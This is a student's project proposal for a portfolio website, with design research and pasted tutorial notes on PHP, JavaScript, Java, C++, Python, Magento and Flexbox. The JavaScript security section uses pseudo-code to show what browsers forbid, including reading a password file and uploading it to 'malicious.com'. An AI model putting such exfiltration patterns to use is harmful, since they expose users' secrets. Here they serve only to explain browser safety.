Personal Portfolio Rebecca Rankin

Project Proposal

Project Title

Personal Portfolio Website.

Summary of the project

A quick summary of what you will be doing for this project.

I will be creating a website to showcase my portfolio work. It will be a live website that will be accessible to everyone online. Within the website portfolio there will be examples of where different code has been used on each page. There is also the possibility of me adding an e-learning resource in the coding part of the website.

Write about the challenges you hope to address

This project will have three main challenges. List them below stating what they are and why they are a challenge.

1. First Challenge

Creating multiple initial designs for the layout of the website.

This will be a challenge because in the past I have only ever been able to create a couple of designs so I need to get better at coming up with more of a variety of ideas.

2. Second Challenge

Learning and implementing as many relevant types of code.

The types of code I know already are HTML and CSS, however there are many more that will be imperative to learn for a career in the field. These include PHP, JavaScript, Java, C++, Python, Magento, GitHub and Flexbox. I want to be able to understand the principles of all of these types of code to then use the ones that are appropriate to the website.

3. Third Challenge

Making the website live.

Even though in the past I have been able to create simple websites I have never put them on a live platform so this will be a good skill to learn for the professional world, not only to showcase my work to other professionals but also for creating live websites for clients.

4. Fourth Challenge

Creating an e-learning resource

Write about the learning Objectives you hope to achieve by completing this project

What do you hope to learn from this project?

Throughout the project I want to be able to learn how to expand my knowledge in the field. This will start with the development of my designing and how many initial designs I can produce to improve variety and the speed of working. The next thing I want to learn is as many types of code that I can that will be relevant to what I may work on in the future and to improve the prospects I have for finding a graduate job. All of the types of code will be looked at to gain an understanding and then the ones that I can use in the personal portfolio website I am going to create. I also want to produce a live website so my work can be seen by anyone online. Lastly I want to attempt to create an e-learning resource, part of the idea is to create a video tutorial that I have never done before.

Motivation –

Why is your project interesting and important?

The reasons for why I wish to produce a live personal portfolio website, with an e-learning resource in it, it to push the types of code I know and for trying new skills that will benefit my future career.

Examples of Website Portfolios

The reason for looking at examples of website portfolios first is to be able to get an idea of what is out there already to gain inspiration for how to design mine.

Creative Portfolio Competition; Nick Boes

This is a good example of a creative professionals portfolio. As it is from a competition site for the best portfolios it has been made clear what aspects it includes to make it successful. The clean, flat based, responsive design is clearly a hit with the audience and gives the impression that these qualities improve the popularity and ease of use of the website. Another aspect to take note of is the colour palate which is simple yet effective. Additionally the factor of using a picture of the designer helps boost the clients confidence in the designer and draws customers in with a friendly face.

Creative Portfolio Competition; Grey Saga

There are some similarities between this website portfolio and the last, the main ones being a responsive design and a minimal colour palate. Where this portfolio jumps out for being a good one is the CSS3, parallax and jQuery.

Sample Portfolio
Sample Portfolio
Sample Portfolio
Sample Portfolio
Sample Portfolio
Sample Portfolio
Sample Portfolio
Creative Portfolio Competition; JMK STUDIO

What Makes a Successful Website

From looking at the examples of website portfolios it is clear to see that HTML, CSS3 and jQuery are used. It is also clear to see that general designs used are flat based and card design as it gives a clear layout without over-complicating anything.

Golden Ratio

Using the golden ratio helps many designers give balance to their work. It is quite simple to use therefore I should be using it in my portfolio piece.

White Space

Visual hierarchy - the size of text and images gives a clear indication of their importance

Rule of Thirds - Everything being done in threes

Principles of Effective Web Design

  1. Purpose - the user must be able to see this straight away
  2. Communication - quick information
  3. Typefaces - Sans Serif fonts, 16px, maximum 3
  4. Colours - complimentary colours (balance and harmony)
  5. Images - 1 picture is a 1000 words, make sure the images are chosen wisely
  6. Navigation - 3 click rule, must be able to get where they want in 3 clicks
  7. Grid based layout - creates balance: sections, columns and boxes
  8. F pattern design - we read left to right and top to bottom
  9. Load time - compress images and code to speed up loading time
  10. Mobile friendly - needs to be a responsive website to be mobile friendly

Trends of 2017

  1. Mobile first approach - mobile < tablet < laptop < desktop
  2. Wider implementation of responsive design
  3. Utilisation of rapid prototyping tools - no code
  4. UI patterns and design frameworks
  5. Bespoke illustrations
  6. Big, bold and beautiful typography
  7. Authentic photography
  8. Animation advance
  9. Video becoming king
  10. Courageous colours
  11. More card and grid UIs
  12. VR inspired experiences
  13. Innovative scrolling and parallax
  14. Asymmetric and broken layouts
  15. Increased use of drop shadows

What I will try to include when creating my own website portfolio

From looking at the research I have done I will aim to use the majority of the 10 principles of effective web design. The one that will not be used to the fullest is No.8 which is the 'F' pattern design because I do not plan on using downward facing text.

Looking at the trends of 2017 there are some that I will try to use, some I might use and others I definitely will not use. Refer back to the 2017 trends numbers.

Will use____________________________Might Use___________________________Won't use

2...6...10...11...13...14________1...15_______4...5_______________7...9...12__________3...8

How to Future proof a website

  1. keep things simple - less is more
  2. ensure everything works
  3. watch your links
  4. create quality content
  5. be mobile optimised - device ready
  6. focus on users
  7. use popular, flexible content management system (CMS)
  8. make it responsive
  9. make a plan and stick to it
  10. be up to date at the time of creation
  11. use the right framework (standard)
  12. less CSS
  13. WordPress is the best option
  14. having editable website options

How to Make a Website Live

Use GitHub as a platform to be able to showcase the website I will make.

Possibly use GitHub to be able to make a blogging page.

Create a link on the website, created and displayed on GitHub, to Facebook and a page I will create about my skills as a designer. Also possibly create a twitter account to showcase my work as a designer on there as well and have a link on the website for that as well.

Create an account with GitHub to be able to place the code on there, with the result of creating a live website.

What Code Needs to be Learned

What code I know

HTML AND CSS

Examples of where I have used this code

What needs to be learned

PHP, Java, C++, Python, Github, Magento, Flexbox

The order of what will be completed and learned

  • HTML - basic words/layout
  • CSS - design part
  • PHP
  • Java
  • C++
  • Python

Ideas

  • Switch on the web page using C++
  • Page on my philosophy - post modernism
  • Each page shows and extract of knowledge

Current Website Trends

Trends of 2017

  1. Mobile first approach - mobile < tablet < laptop < desktop
  2. Wider implementation of responsive design
  3. Utilisation of rapid prototyping tools - no code
  4. UI patterns and design frameworks
  5. Bespoke illustrations
  6. Big, bold and beautiful typography
  7. Authentic photography
  8. Animation advance
  9. Video becoming king
  10. Courageous colours
  11. More card and grid UIs
  12. VR inspired experiences
  13. Innovative scrolling and parallax
  14. Asymmetric and broken layouts
  15. Increased use of drop shadows

Examples of Current Websites

Sample Website Designs

Design 1
Design 2
Design 3
Design 4
Design 5
Design 6

Explanation of New Code

PHP

What is PHP?

  • PHP is an acronym for "PHP: Hypertext Preprocessor"
  • PHP is a widely-used, open source scripting language
  • PHP scripts are executed on the server
  • PHP is free to download and use
  • PHP is an amazing and popular language!
  • It is powerful enough to be at the core of the biggest blogging system on the web (WordPress)!
  • It is deep enough to run the largest social network (Facebook)!
  • It is also easy enough to be a beginner's first server side language!

What is a PHP File?

  • PHP files can contain text, HTML, CSS, JavaScript, and PHP code
  • PHP code are executed on the server, and the result is returned to the browser as plain HTML
  • PHP files have extension ".php"

What Can PHP Do?

  • PHP can generate dynamic page content
  • PHP can create, open, read, write, delete, and close files on the server
  • PHP can collect form data
  • PHP can send and receive cookies
  • PHP can add, delete, modify data in your database
  • PHP can be used to control user-access
  • PHP can encrypt data
  • With PHP you are not limited to output HTML. You can output images, PDF files, and even Flash movies. You can also output any text, such as XHTML and XML.

Why PHP?

  • PHP runs on various platforms (Windows, Linux, Unix, Mac OS X, etc.)
  • PHP is compatible with almost all servers used today (Apache, IIS, etc.)
  • PHP supports a wide range of databases
  • PHP is free. Download it from the official PHP resource: www.php.net
  • PHP is easy to learn and runs efficiently on the server side
An Example of what PHP looks like

JavaScript

JavaScript is most commonly used as a client side scripting language. This means that JavaScript code is written into an HTML page. When a user requests an HTML page with JavaScript in it, the script is sent to the browser and it's up to the browser to do something with it.

The fact that the script is in the HTML page means that your scripts can be seen and copied by whoever views your page. Nonetheless, to my mind this openness is a great advantage, because the flip side is that you can view, study and use any JavaScript you encounter on the WWW.

JavaScript can be used in other contexts than a Web browser. Netscape created server-side JavaScript as a CGI-language that can do roughly the same as Perl or ASP. There is no reason why JavaScript couldn’t be used to write real, complex programs. However, this site exclusively deals with the use of JavaScript in web browsers.

JavaScript vs. Java - JavaScript is not the same as Java.

Although the names are much alike, JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.

JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment).

Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.

Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.

The JavaScript language

JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.

But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.

Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.

So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.

Security

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.

First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:

The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

  1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard filesystem.read('/my/password/file'); filesystem.write('horridvirus.exe');
  2. JavaScript cannot execute any other programs. This would also be unacceptable execute('horridvirus.exe')
  3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

var security_hazard = connection.open('malicious.com');

security_hazard.upload(filesystem.read('/my/password/file'));

security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

  1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently. You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
  2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
  3. You cannot set the value of a file upload field (<input type="file">). document.forms[0].upload_field.value = '/my/password/file'; document.forms[0].submit();
  4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action. However, this rule isn't implemented in all browsers and is easy to work around in Explorer.
  5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
  6. You should not be able to open a new window smaller than 100x100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window. Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Java

Java technology is used to develop applications for a wide range of environments, from consumer devices to heterogeneous enterprise systems. In this section, get a high-level view of the Java platform and its components.

The Java language

Like any programming language, the Java language has its own structure, syntax rules, and programming paradigm. The Java language's programming paradigm is based on the concept of OOP, which the language's features support.

The Java language is a C-language derivative, so its syntax rules look much like C's. For example, code blocks are modularized into methods and delimited by braces ({ and }), and variables are declared before they are used.

Structurally, the Java language starts with packages. A package is the Java language's namespace mechanism. Within packages are classes, and within classes are methods, variables, constants, and more. You learn about the parts of the Java language in this tutorial.

The Java compiler

When you program for the Java platform, you write source code in .java files and then compile them. The compiler checks your code against the language's syntax rules, then writes out bytecode in .class files. Bytecode is a set of instructions targeted to run on a Java virtual machine (JVM). In adding this level of abstraction, the Java compiler differs from other language compilers, which write out instructions suitable for the CPU chipset the program will run on.

The JVM

At runtime, the JVM reads and interprets .class files and executes the program's instructions on the native hardware platform for which the JVM was written. The JVM interprets the bytecode just as a CPU would interpret assembly-language instructions. The difference is that the JVM is a piece of software written specifically for a particular platform. The JVM is the heart of the Java language's "write-once, run-anywhere" principle. Your code can run on any chipset for which a suitable JVM implementation is available. JVMs are available for major platforms like Linux and Windows, and subsets of the Java language have been implemented in JVMs for mobile phones and hobbyist chips.

The garbage collector

Rather than forcing you to keep up with memory allocation (or use a third-party library to do so), the Java platform provides memory management out of the box. When your Java application creates an object instance at runtime, the JVM automatically allocates memory space for that object from the heap— a pool of memory set aside for your program to use. The Java garbage collector runs in the background, keeping track of which objects the application no longer needs and reclaiming memory from them. This approach to memory handling is called implicit memory management because it doesn't require you to write any memory-handling code. Garbage collection is one of the essential features of Java platform performance.

The Java Development Kit

When you download a Java Development Kit (JDK), you get — in addition to the compiler and other tools — a complete class library of prebuilt utilities that help you accomplish most common application-development tasks. The best way to get an idea of the scope of the JDK packages and libraries is to check out the JDK API documentation.

The Java Runtime Environment

The Java Runtime Environment (JRE; also known as the Java runtime) includes the JVM, code libraries, and components that are necessary for running programs that are written in the Java language. The JRE is available for multiple platforms. You can freely redistribute the JRE with your applications, according to the terms of the JRE license, to give the application's users a platform on which to run your software. The JRE is included in the JDK.

An Example of good Java code

C++

C++ is a general purpose programming language invented in the early 1980s by Bjarne Stroustrup at Bell Labs. It is similar to C, invented in the early 1970s by Dennis Ritchie, but is a safer language than C and includes modern programming techniques such as object oriented programming. You can read more about object oriented programming. In fact C++ was originally called C with Classes and is so compatible with C that it will probably compile more than 99% of C programs without changing a line of source code. This was a deliberate design feature by the designer. Here is a short overview and history of C++.

The purpose of C++ is to precisely define a series of operations that a computer can perform to accomplish a task. Most of these operations involve manipulating numbers and text, but anything that the computer can physically do can be programmed in C++. Computers have no intelligence- they have to be told exactly what to do and this is defined by the programming language you use. Once programmed they can repeat the steps as many times as you wish at very high speed. Modern PCs are so fast they can count to a billion in a second or two.

When we consider a C++ program, it can be defined as a collection of objects that communicate via invoking each other's methods. Let us now briefly look into what do class, object, methods and Instance variables mean.

  1. Object − Objects have Properties and Behaviours. Example: A dog has Properties - colour, name, breed as well as Behaviours - wagging, barking, eating. An object is an instance of a class.
  2. Class − A class can be defined as a template/blueprint that describes the behaviours/states that object of its type support.
  3. Methods − A method is basically a behaviour. A class can contain many methods. It is in methods where the logics are written, data is manipulated and all the actions are executed.
  4. Instance Variables − Each object has its unique set of instance variables. An object's state is created by the values assigned to these instance variables.

C++ Program Structure:

Let us look at a simple code that would print the words Hello World.

Let us look various parts of the above program:

  • The C++ language defines several headers, which contain information that is either necessary or useful to your program. For this program, the header <iostream> is needed.
  • The line using namespace std; tells the compiler to use the std namespace. Namespaces are a relatively recent addition to C++.
  • The next line // main() is where program execution begins. is a single-line comment available in C++. Single-line comments begin with // and stop at the end of the line.
  • The line int main() is the main function where program execution begins.
  • The next line cout << "This is my first C++ program."; causes the message "This is my first C++ program" to be displayed on the screen.
  • The next line return 0; terminates main( )function and causes it to return the value 0 to the calling process.

Compile & Execute C++ Program

Let's look at how to save the file, compile and run the program. Please follow the steps given below:

  • Open a text editor and add the code as above.
  • Save the file as: hello.cpp
  • Open a command prompt and go to the directory where you saved the file.
  • Type 'g++ hello.cpp ' and press enter to compile your code. If there are no errors in your code the command prompt will take you to the next line and would generate a.out executable file.
  • Now, type ' a.out' to run your program.
  • You will be able to see ' Hello World ' printed on the window.

Make sure that g++ is in your path and that you are running it in the directory containing file hello.cpp.

You can compile C/C++ programs using makefile. For more details, you can check Makefile Tutorial.

Semicolons & Blocks in C++

In C++, the semicolon is a statement terminator. That is, each individual statement must be ended with a semicolon. It indicates the end of one logical entity.

C++ Identifiers

A C++ identifier is a name used to identify a variable, function, class, module, or any other user-defined item. An identifier starts with a letter A to Z or a to z or an underscore (_) followed by zero or more letters, underscores, and digits (0 to 9).

C++ does not allow punctuation characters such as @, $, and % within identifiers. C++ is a case-sensitive programming language. Thus, Manpower and manpower are two different identifiers in C++.

Here are some examples of acceptable identifiers −

  • mohd
  • zara
  • abc
  • move_name
  • a_123
  • myname50
  • _temp
  • j
  • a23b9
  • retVal

C++ Keywords

The following list shows the reserved words in C++. These reserved words may not be used as constant or variable or any other identifier names.

Trigraphs

A few characters have an alternative representation, called a trigraph sequence. A trigraph is a three-character sequence that represents a single character and the sequence always starts with two question marks.

Trigraphs are expanded anywhere they appear, including within string literals and character literals, in comments, and in preprocessor directives.

Following are most frequently used trigraph sequences −

All the compilers do not support trigraphs and they are not advised to be used because of their confusing nature.

Whitespace in C++

A line containing only whitespace, possibly with a comment, is known as a blank line, and C++ compiler totally ignores it.

Whitespace is the term used in C++ to describe blanks, tabs, newline characters and comments. Whitespace separates one part of a statement from another and enables the compiler to identify where one element in a statement, such as int, ends and the next element begins. Therefore, in the statement,

int age;

there must be at least one whitespace character (usually a space) between int and age for the compiler to be able to distinguish them. On the other hand, in the statement

fruit = apples + oranges; // Get the total fruit

no whitespace characters are necessary between fruit and =, or between = and apples, although you are free to include some if you wish for readability purpose.

Python

1. Simple Elegant Syntax

Programming in Python is fun. It's easier to understand and write Python code. Why? The syntax feels natural. Take this source code for an example:

a = 2

b = 3

sum = a + b

print(sum)

Even if you have never programmed before, you can easily guess that this program adds two numbers and prints it.

2. Not overly strict

You don't need to define the type of a variable in Python. Also, it's not necessary to add semicolon at the end of the statement.

Python enforces you to follow good practices (like proper indentation). These small things can make learning much easier for beginners.

3. Expressiveness of the language

Python allows you to write programs having greater functionality with fewer lines of code. Here's a link to the source code of Tic-tac-toe game with a graphical interface and a smart computer opponent in less than 500 lines of code. This is just an example. You will be amazed how much you can do with Python once you learn the basics.

4. Great Community and Support

Python has a large supporting community. There are numerous active forums online which can be handy if you are stuck. Some of them are:

  • Learn Python subreddit
  • Google Forum for Python
  • Python Questions - Stack Overflow

Magento

What Is Magento?

Magento, in short, is a robust eCommerce CMS. I think explaining these three terms: ‘robust’, ‘eCommerce’, and ‘CMS’ would amply explain to you what Magento is.

Starting with CMS, it is an acronym for Content Management System. To understand what a Content Management System is, let me give you a brief overview of its historical development, which will give you clear idea of what it is and why it is used. When website development emerged, people used to create websites from scratch as per clients’ requirements, building a font-end using HTML/CSS/JS etc, a back-end in different back-end languages like PHP, .NET etc, setting up databases, and configuring everything.

But this approach had two problems. First, as clients didn’t know any programming, every time they needed to edit their website or add/modify content, they had to call the web company, and that used to cost them money and time. The second problem was that it was a lot of work to create websites from scratch every time.

As a solution to the first problem, developers started developing some user-friendly admin panels for their websites, where non-technical web managers could easily add/modify content without messing around with the code.

And for the second problem, they realized that most of the websites they developed had many things in common, so instead of creating websites from scratch, they could develop some good starting points, which provided all the functionality, and then users could modify them as per their needs.

The combination of these two solutions is a Content Management System. Now the concept is quite popular, and a constant struggle between different CMSs has made them over time more user-friendly and easy to install, and there are tons of extensions/plugins available, which can enhance your CMS’s functionality.

The second term, eCommerce, is sort of self-explanatory. It is related to online shopping. So the reason Magento is different from other non-eCommerce CMSs like WordPress, Drupal, Joomla, etc., is that unlike them, it is a dedicated eCommerce CMS, whose prime purpose is to provide an online store, where you can sell digital and physical products. And as it is exclusively an eCommerce CMS, it has far more eCommerce features than the eCommerce plugins of non-eCommerce CMSs.

There are tons of eCommerce CMSs around the web. Everyone with some knowledge of web development can create their own, and here the third term robust distinguishes Magento from them. Robust means something strong and healthy. Unlike some other eCommerce CMSs that are badly written and full of bugs, Magento is a vigorous CMS, which is quite sturdy in its construction, and has a strong community backing it.

Proof of its robustness is that it is used by many large-scale eCommerce enterprises with millions of dollars in revenues like Nordstrom, Adidas and North Face. In fact, Magento Enterprise Edition can support more than 350 million catalog views and 487,000 orders per day.

Hopefully now you’ll fully realize what I mean when I say Magento is a robust eCommerce CMS. That was a very long introduction to what Magento is. Now let’s see for what kind of projects Magento is a good fit.

Who Is Magento Aimed At?

As explained above, Magento is a very robust and powerful CMS, and it's used by many popular and heavy-traffic online stores. That implies it is definitely a good fit for large-scale eCommerce websites, but now the question arises, is it a good fit for small-scale online stores? The answer to that isn’t quite so simple.

Let’s admit, prior to Magento 2.0, Magento wasn’t very user-friendly, and definitely not very easy to install. It isn’t that installation requires lot of steps, it’s just that unless you have installed it many times before, you are sure to come across different issues/errors while installing it. The Magento admin panel also wasn’t very user-friendly and intuitive. Another big issue with Magento was that it is a huge CMS with tons of files, and that caused slow performance on web sites.

Almost all of these issues have been well-addressed in the release of version 2.0, but still it’s not a CMS I would recommend for a five-item store, where you know you won’t be expanding your store in future as well. However, if you plan on expanding your online store in future, I would recommend starting with Magento, as it is a CMS with proven performance to support large stores, and it’s definitely worth the effort of installing it in the first place instead of switching to Magento at a later stage, which is quite a hassle.

How Can I Install Magento?

As just said, Magento installation isn’t straightforward, though it might look like it. So, instead of explaining all the Magento installation procedures here with all the best practice advice and solutions to the problems you might come across, I’ll leave all that to the extensively written Magento installation guides on the Magento website, as it has addressed all these issues.

However, I’ll give you a bird’s-eye view of the steps of Magento installation. It’ll give you a basic idea of the steps involved. To install Magento, you need to go through these few steps:

  • Choose the Magento version you need to install: Magento 1 or Magento 2. The preferred choice for new Magento installs should be Magento 2.
  • Make sure your server has the right versions of PHP, MySQL and Apache to support Magento.
  • Upload the Magento files on your server, and run the installation wizard.
  • Optional: Install dummy data during installation, if needed.
  • Verify the install, and make sure the admin panel and front-end are working properly.

How Can I Get Started Developing for Magento?

Let me give you this point blank: Magento is hard to learn. I have worked with over a dozen CMSs during my web development career, and I don’t want to sugar-coat this fact: Magento is the hardest to learn of the CMSs I’ve come across.

In Magento, if something goes wrong, you keep wondering whether it was because you did something wrong in the totally counter-intuitive admin panel, or you messed with some PHP or JS code, or maybe there was some problem with the XML files.

There are so many files to look for and manage, some of them miles apart (in terms of folder structure traversal time, thanks to its extremely deep folder structure), and the official documentation in earlier versions was very poor, and there was a complete lack of an official API. Many of these issues have improved over time, but Magento is still not easy to grasp.

So, the question arises, is it worth the time to learn Magento, when it is still difficult. Let me share my personal story on that. I used to work on different CMSs like WordPress and Joomla, but then I came across Magento for a project, and I found it obnoxiously difficult. But instead of running away from it, I saw a good opportunity in it, as despite being the number one eCommerce CMS in terms of performance, it had quite a shortage of developers. So I started exploring it, and within months I started developing some grip over it.

I developed some Magento themes for Envato Market, and there wasn’t much competition in that too (back then at least). I started writing about it and got many freelance projects on Magento. All of that wouldn’t have been that much easier if I was working in a highly competitive niche like WordPress. So Magento is hard, and it’s being hard that makes it great.

You might be thinking that what I just said might be true if you opt for Magento learning as a career, but what if you just want to build one website using it? Should you go through all the suffering of learning it?

Well, the good news is, you don’t need to. You really don’t need to understand what’s going on ‘under the hood’, if you just want to make a website out of Magento. All you need to do is install Magento on your server, find some good themes and extensions for it from the resources I’ll mention next in this article, and you’re pretty much all set! Then you’ll be just dealing with the admin panel, and for that you don’t need any technical knowledge.

If you are just creating one project, go through the Magento installation documentation (mentioned above), and explore some resources to find good themes and extensions (I’ll mention some below), and if you come across some issues, search for answers online. That’s all you would need.

However, if you are opting for it as a professional career, you need much more than that. You need to develop a good grasp over PHP, MySQL, HTML, CSS, JS, and XML. Then you need to develop some understanding of the PHP Zend Framework, on which Magento is built.

Once you do that, you have done some good ground work, and now you can start learning Magento directly. For that, four main resources which I would recommend are:

  • The Magento official devdocs (they are drastically improved with Magento 2)
  • Alan Storm's blog on Magento
  • Inchoo blog
  • Envato Tuts+ articles on Magento

Here at Envato Tuts+ we have gathered a good collection of Magento articles over time, including articles on creating Magento extensions and my 10-article extensive series on creating a Magento theme from scratch. Also, I would very strongly recommend Milan Stojanov's video course on Magento development.

Where Can I Find Themes and Extensions for Magento?

When it comes to finding good quality Magento themes and templates, your go-to resource should be Envato Market (ThemeForest). It's the number one resource, with most high-quality themes there. I’ve been both a seller and buyer of Magento themes from Envato Market, and I can vouch for their high quality standards.

However, if you are looking for free themes, you’ll find some good ones on the Magento Connect site. The quality of these themes isn’t very good, and support is totally absent, but it is a good fit if you are just testing your store or have a small store to run.

For finding extensions, the only resource you need to know is Magento Connect. You’ll find almost all your required extensions there. You can check user reviews, screenshots, etc., to choose the right extension. Some extensions are free, but for some you need to pay.

What Alternatives Are There?

Magento would not be a good fit for your store in two cases. Firstly, if you are already using some other CMS for your non-eCommerce site (like WordPress, Drupal etc), and you just want to add a small store to it to sell some products. Secondly, if you only have a few products to sell, and don’t want to complicate your life with some hi-fi eCommerce CMS.

For the first case, I would recommend finding good eCommerce plugins for your CMS, instead of adding a stand-alone eCommerce CMS like Magento. For WordPress, a good and popular eCommerce plugin is WooCommerce, and for Drupal, DrupalCommerce is a really good eCommerce module.

For the second case, my suggestion would be to stick with an online eCommerce store that will manage everything for you and for which you only need to pay few bucks a month, in lieu of all the headache of setting up and managing a website. Some good online eCommerce store providers are Shopify and BigCommerce.

I hope this article has given you a basic understanding of what Magento is all about, whether you should consider it for your project, and whether learning Magento could be a good career choice for you or not.

I’ve also pointed out some resources where you can learn Magento and find other Magento resources like themes and extensions. And lastly, I've looked at some good alternatives to consider, if you don’t think Magento is a good match for your project.

As you can see, Magento is a powerful eCommerce solution and it keeps getting stronger with each version.

The website below shows how to code Magento:

https://code.tutsplus.com/tutorials/magento-custom-module-development--cms-20643

Flexbox

An elegant layout method for a more civilized age

Flexbox is a new layout mode in CSS3. The previous version of CSS defined four layout modes:

  • block layout - for laying out documents
  • inline layout - for laying out text
  • table layout - for laying 2D tabular data
  • positioned layout - for explicit positioning

Now, you might be thinking “What about floats? They’re used for layout all the time!” Good point, but floats were never intended for layout. They were a CSS recreation of the old align attribute in HTML. Clever web developers found ways to abuse them to create complex layouts, but they’re limited and buggy — as anyone who’s wrestled with a clearfix can attest.

CSS3 introduced two new layout methods as an alternative to abusing floats and tables:

  • Grid layout - divides space into columns & rows. Like table layouts, but better! The Grid layout spec is still being developed, and isn’t ready for use yet.
  • Flexbox layout - distributes space along a single column or row. Like float layouts, but better! The Flexbox spec is finished and enjoys excellent browser support today.

The direct children of a flex container are laid out along the main axis. These children can “flex” their sizes, growing to fill unused space in the container, or shrinking to avoid overflowing.

By nesting multiple flex containers with different orientations, you can achieve complex layouts.

Flexbox Properties

There are too many properties to get into here, so I will refer you to the excellent CSS Tricks Flexbox Guide, which does a great job of introducing all the properties.

Don’t be overwhelmed. There are a lot of options, but Flexbox includes a set of intelligent defaults so you can create a powerful layout with very little code. Here’s an example:

That one line of code does all the following:

  • Treats .flex-container as a flex container.
  • Treats all direct children of .flex-container as flex items.
  • Flex items will be laid out in a horizontal line.
  • Flex items will be laid out in source order.
  • Flex items will be laid out starting from the left side of the flex container.
  • Flex items will be sized based on their regular width properties.
  • If there’s not enough space for all the flex items, they will be allowed to shrink horizontally until they all fit.
  • If they need to shrink, each item will shrink equally.
  • Flex items will all stretch vertically to match the height of the tallest flex item.

That’s quite a bit of logic for a single line of CSS! You can change any of those, but I wanted to give you a taste of how powerful Flexbox can be with no extra work.

Graceful Degradation with Modernizr

If that won’t work, you can provide a fallback float-based layout using Modernizr. Modernizr is a JavaScript library that evaluates the browser’s capabilities and adds a set of classes to the body element, which allows you to scope CSS based on feature support.

If a browser doesn’t support Flexbox, then a no-flexbox class will be added. Here’s a simple example of what your CSS would look like:

The advantage to this approach is your fallback code is scoped to the no-flexbox class. As a result, when the day comes that you can drop support for non-Flexbox browsers, you can easily delete all the no-flexbox code and your site just keeps working the same way. No messy refactoring needed.

A note about IE10: The flexbox test in Modernizr 2.8.3 returns true in IE10, which means that it wouldn’t see your fallback styles. You can fix this a number of ways: IE10-specific code in a conditional comment, using a tool like Autoprefixer, or by simply using Modernizr 3, which has an improved flexbox test that properly excludes IE10.

What Code Probably Will be Used and Why

  1. HTML - it is the foundation of a website
  2. CSS - without it there is no style
  3. JavaScript - for implementing extra features, eg. scrolling would otherwise be impossible
  4. C++ - I want to be able to implement this for creating a light switch effect when opening the website
  5. Flexbox - an easier alternative to layout for CSS
  6. PHP - for including a copyright and maybe more to practice how to use it

What Code Probably Won't be Used and Why

  1. Java - it is an object orientated programming language for applications where as JavaScript is the script within browsers
  2. Python - it makes no sense
  3. Magento - in a portfolio there is no need for a shopping cart, it is not an eCommerce website

Making a Brand

What its a brand?

It is the visible elements (colours, design, name, symbol, logo, type) that together identify and distinguish a brand in the consumers mind.

Characteristics

  1. Unique
  2. Consistent
  3. Audience knowledge
  4. Passionate
  5. Competitiveness
  6. Exposure
  7. Leadership
  8. Emotive
  9. Memorable
  10. Hardy
  11. Results-focused
  12. Direct
  13. Visually Identifiable
  14. Genuine

Brand - perceived emotional corporate image as a whole

Identity - visual aspects from part of the overall brand

Logo - identify business in simplest form using a mark/icon

How my personal portfolio website will adhere to these characteristics

